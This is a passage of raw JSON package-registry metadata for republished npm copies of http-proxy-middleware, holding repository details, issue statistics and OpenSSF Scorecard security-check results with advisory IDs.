push approval' is disabled on branch 'master'","Info: status check found to merge onto on branch 'master'","Info: PRs are required in order to make changes on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":5,"reason":"5 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-968p-4wvh-cqc8","Warn: Project is vulnerable to: GHSA-xffm-g5w8-qvg7","Warn: Project is vulnerable to: GHSA-fjxv-7rqg-78g4","Warn: Project is vulnerable to: GHSA-52f5-9888-hmc6"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-17T14:57:40.637Z","repository_id":28698813,"created_at":"2025-08-17T14:57:40.637Z","updated_at":"2025-08-17T14:57:40.637Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":34914647,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-06-29T02:00:05.398Z","response_time":58,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"tags":[]},"repo_metadata_updated_at":"2026-07-07T06:22:17.291Z","dependent_packages_count":1,"downloads":22,"downloads_period":"last-month","dependent_repos_count":0,"rankings":{"downloads":43.5886015547087,"dependent_repos_count":25.32799796580169,"dependent_packages_count":16.223928578504864,"stargazers_count":1.2398004607859754,"forks_count":1.5692042885178354,"average":17.589906569663814},"purl":"pkg:npm/%40webee/http-proxy-middleware","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/@webee/http-proxy-middleware","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/npm/@webee/http-proxy-middleware","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/@webee/http-proxy-middleware/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-18T20:26:59.603Z","issues_count":141,"pull_requests_count":285,"avg_time_to_close_issue":13293581.985074626,"avg_time_to_close_pull_request":4164601.252,"issues_closed_count":67,"pull_requests_closed_count":250,"pull_request_authors_count":43,"issue_authors_count":134,"avg_comments_per_issue":4.6879432624113475,"avg_comments_per_pull_request":1.4456140350877194,"merged_pull_requests_count":204,"bot_issues_count":0,"bot_pull_requests_count":16,"past_year_issues_count":14,"past_year_pull_requests_count":43,"past_year_avg_time_to_close_issue":1199106.0,"past_year_avg_time_to_close_pull_request":238577.41666666666,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":36,"past_year_pull_request_authors_count":8,"past_year_issue_authors_count":13,"past_year_avg_comments_per_issue":1.3571428571428572,"past_year_avg_comments_per_pull_request":2.0697674418604652,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":34,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/issues","maintainers":[{"login":"chimurai","count":206,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}],"active_maintainers":[{"login":"chimurai","count":38,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@webee%2Fhttp-proxy-middleware/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@webee%2Fhttp-proxy-middleware/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@webee%2Fhttp-proxy-middleware/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@webee%2Fhttp-proxy-middleware/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@webee%2Fhttp-proxy-middleware/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@webee%2Fhttp-proxy-middleware/codemeta","maintainers":[{"uuid":"webee","login":"webee","name":null,"email":"webee.yw@gmail.com","url":null,"packages_count":9,"html_url":"https://www.npmjs.com/~webee","role":null,"created_at":"2022-11-11T05:42:35.087Z","updated_at":"2022-11-11T05:42:35.087Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/webee/packages"}],"registry":{"name":"npmjs.org","url":"https://registry.npmjs.org","ecosystem":"npm","default":true,"packages_count":5666668,"maintainers_count":1207881,"namespaces_count":399623,"keywords_count":847874,"github":"npm","metadata":{"funded_packages_count":171745},"icon_url":"https://github.com/npm.png","created_at":"2022-04-04T15:19:23.081Z","updated_at":"2026-06-10T05:11:46.456Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/namespaces"}},{"id":1841865,"name":"http-proxy-middleware-sheng","ecosystem":"npm","description":"The one-liner node.js proxy middleware for connect, express and browser-sync","homepage":"https://github.com/chimurai/http-proxy-middleware","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/chimurai/http-proxy-middleware","keywords_array":["reverse","proxy","middleware","http","https","connect","express","browser-sync","gulp","grunt-contrib-connect","websocket","ws","cors"],"namespace":null,"versions_count":2,"first_release_published_at":"2016-11-29T09:27:22.754Z","latest_release_published_at":"2016-11-29T09:31:29.420Z","latest_release_number":"0.17.3","last_synced_at":"2026-07-10T15:03:00.417Z","created_at":"2022-04-09T17:18:05.867Z","updated_at":"2026-07-10T15:03:00.418Z","registry_url":"https://www.npmjs.com/package/http-proxy-middleware-sheng","install_command":"npm install http-proxy-middleware-sheng","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"0.17.3"}},"repo_metadata":{"id":28698813,"uuid":"32219142","full_name":"chimurai/http-proxy-middleware","owner":"chimurai","description":":zap: The one-liner node.js http-proxy middleware for connect, express, next.js and more","archived":false,"fork":false,"pushed_at":"2026-06-27T18:48:14.000Z","size":4416,"stargazers_count":11132,"open_issues_count":22,"forks_count":881,"subscribers_count":113,"default_branch":"master","last_synced_at":"2026-06-29T01:19:25.768Z","etag":null,"topics":["browser-sync","connect","express","fastify","hono","http-proxy","httpxy","javascript","middleware","nextjs","node","nodejs","polka","proxy","proxy-middleware","websocket"],"latest_commit_sha":null,"homepage":"","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/chimurai.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2015-03-14T15:45:55.000Z","updated_at":"2026-06-27T18:48:18.000Z","dependencies_parsed_at":"2024-01-29T07:26:28.290Z","dependency_job_id":"c2a3f314-ac82-4c44-9219-3b82cbfa0f8e","html_url":"https://github.com/chimurai/http-proxy-middleware","commit_stats":{"total_commits":439,"total_committers":40,"mean_commits":10.975,"dds":0.4829157175398633,"last_synced_commit":"77f320e4dca8247167471393dcbce2b1e333b7cf"},"previous_names":[],"tags_count":87,"template":false,"template_full_name":null,"purl":"pkg:github/chimurai/http-proxy-middleware","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/chimurai","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/sbom","scorecard":{"id":277788,"data":{"date":"2025-08-11","repo":{"name":"github.com/chimurai/http-proxy-middleware","commit":"e7ae0098ebdbbdf77c0c23e84d2208cb7fc35cea"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4,"checks":[{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/publish.yml:11","Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Warn: no topLevel permission defined: .github/workflows/publish.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Maintained","score":6,"reason":"8 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":0,"reason":"Found 2/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:194: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:195: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:11: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:13: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:100: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:102: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:106: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:134: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:136: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:140: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:164: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:166: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:170: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:186: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:14: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Info:   0 out of  21 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/publish.yml:6"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Branch-Protection","score":1,"reason":"branch protection is not maximal on development and all release branches","details":["Warn: branch protection not enabled for branch '2.x'","Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Info: 'branch protection settings apply to administrators' is required to merge on branch 'master'","Warn: 'stale review dismissal' is disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Warn: 'last push approval' is disabled on branch 'master'","Info: status check found to merge onto on branch 'master'","Info: PRs are required in order to make changes on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":5,"reason":"5 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-968p-4wvh-cqc8","Warn: Project is vulnerable to: GHSA-xffm-g5w8-qvg7","Warn: Project is vulnerable to: GHSA-fjxv-7rqg-78g4","Warn: Project is vulnerable to: GHSA-52f5-9888-hmc6"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-17T14:57:40.637Z","repository_id":28698813,"created_at":"2025-08-17T14:57:40.637Z","updated_at":"2025-08-17T14:57:40.637Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":34914647,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-06-29T02:00:05.398Z","response_time":58,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"tags":[]},"repo_metadata_updated_at":"2026-07-07T06:22:17.288Z","dependent_packages_count":1,"downloads":32,"downloads_period":"last-month","dependent_repos_count":1,"rankings":{"downloads":59.43614683853403,"dependent_repos_count":10.769523647389562,"dependent_packages_count":21.318711782054763,"stargazers_count":1.044207976717299,"forks_count":1.3404459584921793,"docker_downloads_count":null,"average":18.78180724063757},"purl":"pkg:npm/http-proxy-middleware-sheng","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/http-proxy-middleware-sheng","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/npm/http-proxy-middleware-sheng","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/http-proxy-middleware-sheng/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-18T20:26:59.603Z","issues_count":141,"pull_requests_count":285,"avg_time_to_close_issue":13293581.985074626,"avg_time_to_close_pull_request":4164601.252,"issues_closed_count":67,"pull_requests_closed_count":250,"pull_request_authors_count":43,"issue_authors_count":134,"avg_comments_per_issue":4.6879432624113475,"avg_comments_per_pull_request":1.4456140350877194,"merged_pull_requests_count":204,"bot_issues_count":0,"bot_pull_requests_count":16,"past_year_issues_count":14,"past_year_pull_requests_count":43,"past_year_avg_time_to_close_issue":1199106.0,"past_year_avg_time_to_close_pull_request":238577.41666666666,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":36,"past_year_pull_request_authors_count":8,"past_year_issue_authors_count":13,"past_year_avg_comments_per_issue":1.3571428571428572,"past_year_avg_comments_per_pull_request":2.0697674418604652,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":34,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/issues","maintainers":[{"login":"chimurai","count":206,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}],"active_maintainers":[{"login":"chimurai","count":38,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/http-proxy-middleware-sheng/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/http-proxy-middleware-sheng/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/http-proxy-middleware-sheng/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/http-proxy-middleware-sheng/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/http-proxy-middleware-sheng/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/http-proxy-middleware-sheng/codemeta","maintainers":[{"uuid":"lucylu","login":"lucylu","name":null,"email":"lucy.lu@trantect.com","url":null,"packages_count":3,"html_url":"https://www.npmjs.com/~lucylu","role":null,"created_at":"2022-11-12T18:06:44.632Z","updated_at":"2022-11-12T18:06:44.632Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/lucylu/packages"}],"registry":{"name":"npmjs.org","url":"https://registry.npmjs.org","ecosystem":"npm","default":true,"packages_count":5666668,"maintainers_count":1207881,"namespaces_count":399623,"keywords_count":847874,"github":"npm","metadata":{"funded_packages_count":171745},"icon_url":"https://github.com/npm.png","created_at":"2022-04-04T15:19:23.081Z","updated_at":"2026-06-10T05:11:46.456Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/namespaces"}},{"id":10964593,"name":"@wrule/http-proxy-middleware","ecosystem":"npm","description":"The one-liner node.js proxy middleware for connect, express, next.js and more","homepage":"https://github.com/chimurai/http-proxy-middleware#readme","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/chimurai/http-proxy-middleware","keywords_array":["reverse","proxy","middleware","http","https","connect","express","fastify","polka","next.js","browser-sync","gulp","grunt-contrib-connect","websocket","ws","cors"],"namespace":"wrule","versions_count":3,"first_release_published_at":"2024-10-11T07:56:21.638Z","latest_release_published_at":"2024-10-11T09:30:54.248Z","latest_release_number":"3.0.5","last_synced_at":"2026-07-10T15:03:04.962Z","created_at":"2024-10-12T03:42:27.330Z","updated_at":"2026-07-10T15:03:04.963Z","registry_url":"https://www.npmjs.com/package/@wrule/http-proxy-middleware","install_command":"npm install @wrule/http-proxy-middleware","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"3.0.5"}},"repo_metadata":{"id":28698813,"uuid":"32219142","full_name":"chimurai/http-proxy-middleware","owner":"chimurai","description":":zap: The one-liner node.js http-proxy middleware for connect, express, next.js and more","archived":false,"fork":false,"pushed_at":"2026-06-27T18:48:14.000Z","size":4416,"stargazers_count":11132,"open_issues_count":22,"forks_count":881,"subscribers_count":113,"default_branch":"master","last_synced_at":"2026-06-29T01:19:25.768Z","etag":null,"topics":["browser-sync","connect","express","fastify","hono","http-proxy","httpxy","javascript","middleware","nextjs","node","nodejs","polka","proxy","proxy-middleware","websocket"],"latest_commit_sha":null,"homepage":"","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/chimurai.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2015-03-14T15:45:55.000Z","updated_at":"2026-06-27T18:48:18.000Z","dependencies_parsed_at":"2024-01-29T07:26:28.290Z","dependency_job_id":"c2a3f314-ac82-4c44-9219-3b82cbfa0f8e","html_url":"https://github.com/chimurai/http-proxy-middleware","commit_stats":{"total_commits":439,"total_committers":40,"mean_commits":10.975,"dds":0.4829157175398633,"last_synced_commit":"77f320e4dca8247167471393dcbce2b1e333b7cf"},"previous_names":[],"tags_count":87,"template":false,"template_full_name":null,"purl":"pkg:github/chimurai/http-proxy-middleware","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/chimurai","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/sbom","scorecard":{"id":277788,"data":{"date":"2025-08-11","repo":{"name":"github.com/chimurai/http-proxy-middleware","commit":"e7ae0098ebdbbdf77c0c23e84d2208cb7fc35cea"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4,"checks":[{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/publish.yml:11","Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Warn: no topLevel permission defined: .github/workflows/publish.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Maintained","score":6,"reason":"8 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":0,"reason":"Found 2/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are 